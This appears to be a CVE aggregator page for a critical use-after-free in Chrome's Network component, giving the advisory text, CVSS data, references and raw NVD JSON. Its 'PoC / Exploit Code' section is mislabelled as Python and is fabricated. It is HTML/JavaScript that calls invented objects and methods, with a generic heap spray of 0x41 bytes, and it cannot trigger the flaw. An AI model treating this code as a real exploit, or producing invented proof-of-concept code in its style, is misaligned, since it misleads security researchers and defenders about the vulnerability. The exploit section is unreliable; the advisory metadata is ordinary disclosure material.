CVE-2026-9873

Description

Use after free in Network in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9873 Conceptual Use-After-Free -->
<html>
<body>
<script>
    // Step 1: Create a vulnerable object in the Network component context
    // Assuming a vulnerable class exists in the Network implementation
    let vuln_object = new VulnerableNetworkObject();

    // Step 2: Trigger the free operation on the object
    // Simulating a condition where the object is freed (e.g., connection reset)
    vuln_object.triggerFree();

    // Step 3: Allocate controlled memory to reclaim the freed space
    // Using Heap Spraying to occupy the memory hole with attacker-controlled data
    let spray_buffer = new Array(0x1000);
    for(let i = 0; i < spray_buffer.length; i++) {
        spray_buffer[i] = new Uint8Array(0x100);
        spray_buffer[i].fill(0x41); // Fill with 'A's or ROP gadgets
    }

    // Step 4: Trigger the Use-After-Free condition
    // Attempting to access the method of the freed object
    // This leads to executing code from the sprayed memory
    vuln_object.useAfterFree();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9873
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9873
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9873/
[4] VulDB https://vuldb.com/cve/CVE-2026-9873
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/507365348

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9873", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:45.240", "lastModified": "2026-05-29T12:16:27.143", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Network in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/507365348", "source": "[email protected]"}]}}